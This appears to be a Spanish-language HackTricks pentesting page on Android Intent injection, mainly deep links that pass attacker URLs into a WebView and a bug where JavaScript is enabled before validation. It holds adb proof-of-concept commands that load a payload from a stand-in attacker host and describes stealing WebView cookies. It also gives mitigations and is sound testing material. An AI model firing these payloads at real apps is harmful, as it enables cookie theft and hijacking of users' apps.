Intent Injection

Reading time: 4 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

La inyección de intentos abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante las pruebas de penetración de aplicaciones Android son:

  • Pasar extras elaborados a Activities/Services/BroadcastReceivers exportados que luego se reenvían a componentes privilegiados y no exportados.
  • Activar enlaces profundos EXPORTADOS VIEW/BROWSABLE que reenvían URLs controladas por el atacante a WebViews internas u otros sumideros sensibles.

Enlaces profundos → sumidero WebView (inyección de parámetros URL)

Si una aplicación expone un enlace profundo de esquema personalizado como:

text
myscheme://com.example.app/web?url=<attacker_url>

y la Activity receptora reenvía el parámetro de consulta url a un WebView, puedes forzar a la aplicación a renderizar contenido remoto arbitrario en su propio contexto de WebView.

PoC a través de adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS se ejecuta dentro del perfil WebView de la aplicación.
  • Si JavaScript está habilitado (por defecto o debido a verificaciones desordenadas), puedes enumerar/utilizar cualquier objeto expuesto @JavascriptInterface, robar cookies/local storage de WebView y pivotar.

Ver también:

Webview Attacks

Error de orden de verificaciones que habilita JavaScript

Un error recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que finalice la lista blanca/verificación de la URL. Si los ayudantes tempranos aceptan tu enlace profundo y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado, incluso si las verificaciones posteriores son defectuosas o demasiado tarde.

Qué buscar en el código decompilado:

  • Múltiples ayudantes que analizan/dividen/reconstruyen la URL de manera diferente (normalización inconsistente).
  • Llamadas a getSettings().setJavaScriptEnabled(true) antes de la última verificación de lista blanca de host/ruta.
  • Un pipeline como: parsear → validar parcialmente → configurar WebView → verificar final → loadUrl.

Mitigaciones

  • Canonizar una vez y validar estrictamente; fallar cerrado.
  • Solo habilitar JavaScript después de que todas las verificaciones pasen y justo antes de cargar contenido de confianza.
  • Evitar exponer puentes a orígenes no confiables.

Otras primitivas clásicas de inyección de Intent

  • startActivity/sendBroadcast utilizando extras de Intent proporcionados por el atacante que luego son reanalizados (Intent.parseUri(...)) y ejecutados.
  • Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin verificaciones de permiso.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks